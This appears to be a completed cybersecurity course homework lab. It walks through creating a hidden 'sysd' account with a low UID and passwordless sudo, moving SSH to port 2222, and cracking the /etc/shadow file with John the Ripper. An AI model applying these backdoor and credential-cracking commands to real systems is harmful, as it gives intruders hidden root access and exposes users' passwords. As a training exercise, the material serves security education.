Please edit this file by adding the solution commands on the line below the prompt.
Save and submit the completed file for your homework submission.
Step 1: Shadow People
-
Create a secret user named
sysd. Make sure this user doesn't have a home folder created:adduser --no-create-home
-
Give your secret user a password:
passwd sysd
-
Give your secret user a system UID < 1000:
usermod -u 36 sysd
-
Give your secret user the same GID:
groupmod -g 36 sysd- The group "sysd" was already created when I created the user. This command simply modifies the group ID for that group.
-
Give your secret user full
sudoaccess without the need for a password:visudoAdded the following line to the end of the 'sudoers' file:sysd ALL=(ALL) NOPASSWD:ALL
-
Test that
sudoaccess works without your password:su sysd <as 'sysd'> sudo -l <as 'sysd'> sudo visudo
Step 2: Smooth Sailing
-
Edit the
sshd_configfile:vi /etc/ssh/sshd_config <----- Editing 'sshd_config' -----> <Added the following line under '#Port 22':> Port 2222 <----- Saved edits to 'sshd_config' ----->
Step 3: Testing Your Configuration Update
-
Restart the SSH service:
sudo systemctl restart ssh.service
-
Exit the
rootaccount:exit
-
SSH to the target machine using your
sysdaccount and port2222:ssh sysd@192.168.6.105 -p 2222
-
Use
sudoto switch to the root user:sudo -s
Step 4: Crack All the Passwords
-
SSH back to the system using your
sysdaccount and port2222:ssh sysd@192.168.6.105 -p 2222
-
Escalate your privileges to the
rootuser. Use John to crack the entire/etc/shadowfile:john -wordlist /usr/share/john/password.lst /etc/shadowI escalated to the root account using "sudo -s".
© 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.